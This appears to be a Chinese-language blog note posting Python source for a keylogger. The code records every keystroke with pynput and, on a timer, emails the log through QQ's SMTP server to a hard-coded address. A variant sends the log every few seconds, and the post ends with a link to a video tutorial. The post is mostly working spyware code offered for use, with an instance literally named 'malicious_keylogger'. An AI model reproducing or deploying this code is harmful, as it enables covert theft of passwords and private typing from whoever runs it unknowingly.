一、代码
keylogger.py文件
7 | from pynput import keyboard |
9 | # Create Keylogger Class |
13 | # Define __init__ variables |
15 | def __init__(self, time_interval, email, password): |
16 | self.interval = time_interval |
17 | self.log = "KeyLogger has started..." |
19 | self.password = password |
21 | # Create Log which all keystrokes will be appended to |
23 | def append_to_log(self, string): |
24 | self.log = self.log + string |
28 | def on_press(self, key): |
30 | current_key = str(key.char) |
31 | except AttributeError: |
35 | print ( "Exiting program..." ) |
38 | current_key = " " + str(key) + " " |
40 | self.append_to_log(current_key) |
43 | # Create underlying back structure which will publish emails |
45 | def send_mail(self, email, password, message): |
46 | server = smtplib.SMTP( 'smtp.qq.com' , 587) |
48 | server.login(email, password) |
49 | server.sendmail(email, email, message) |
52 | # Create Report & Send Email |
54 | def report_n_send(self): |
55 | send_off = self.send_mail(self.email, self.password, "\n\n" + self.log) |
57 | timer = threading.Timer(self.interval, self.report_n_send) |
60 | # Start KeyLogger and Send Off Emails |
63 | keyboard_listener = keyboard.Listener(on_press = self.on_press) |
64 | with keyboard_listener: |
66 | keyboard_listener.join() |
2.execute_keylogger.py
6 | # Initialize / create keylogger |
8 | malicious_keylogger = keylogger.KeyLogger(10, '2207467@qq.com' , 'pxxxxxjbh' ) #这里不是邮箱密码,而是授权码 |
12 | malicious_keylogger.start() |
其实将下面的代码直接加到第一人文件也可以:
1 | malicious_keylogger = KeyLogger(10, '2207467@qq.com' , 'pxxbh' ) |
3 | malicious_keylogger.start() |
二、执行结果
三、备忘
好像输入中文程序就出错。
四、每分钟发邮件
7 | from pynput import keyboard |
9 | # Create Keylogger Class |
13 | # Define __init__ variables |
15 | def __init__(self, time_interval, email, password): |
16 | self.interval = time_interval |
17 | self.log = "KeyLogger has started..." |
19 | self.password = password |
22 | # Create underlying back structure which will publish emails |
24 | def send_mail(self, email, password, message): |
25 | server = smtplib.SMTP( 'smtp.qq.com' , 587) |
27 | server.login(email, password) |
28 | server.sendmail(email, email, message) |
31 | # Create Report & Send Email |
33 | def report_n_send(self): |
34 | send_off = self.send_mail(self.email, self.password, "\n\n" + self.log) |
36 | timer = threading.Timer(self.interval, self.report_n_send) |
39 | # Start KeyLogger and Send Off Emails |
45 | malicious_keylogger = KeyLogger(5, '2207467@qq.com' , 'pxxxbh' ) |
49 | malicious_keylogger.start() |
https://www.youtube.com/watch?v=3d78_ttGmWI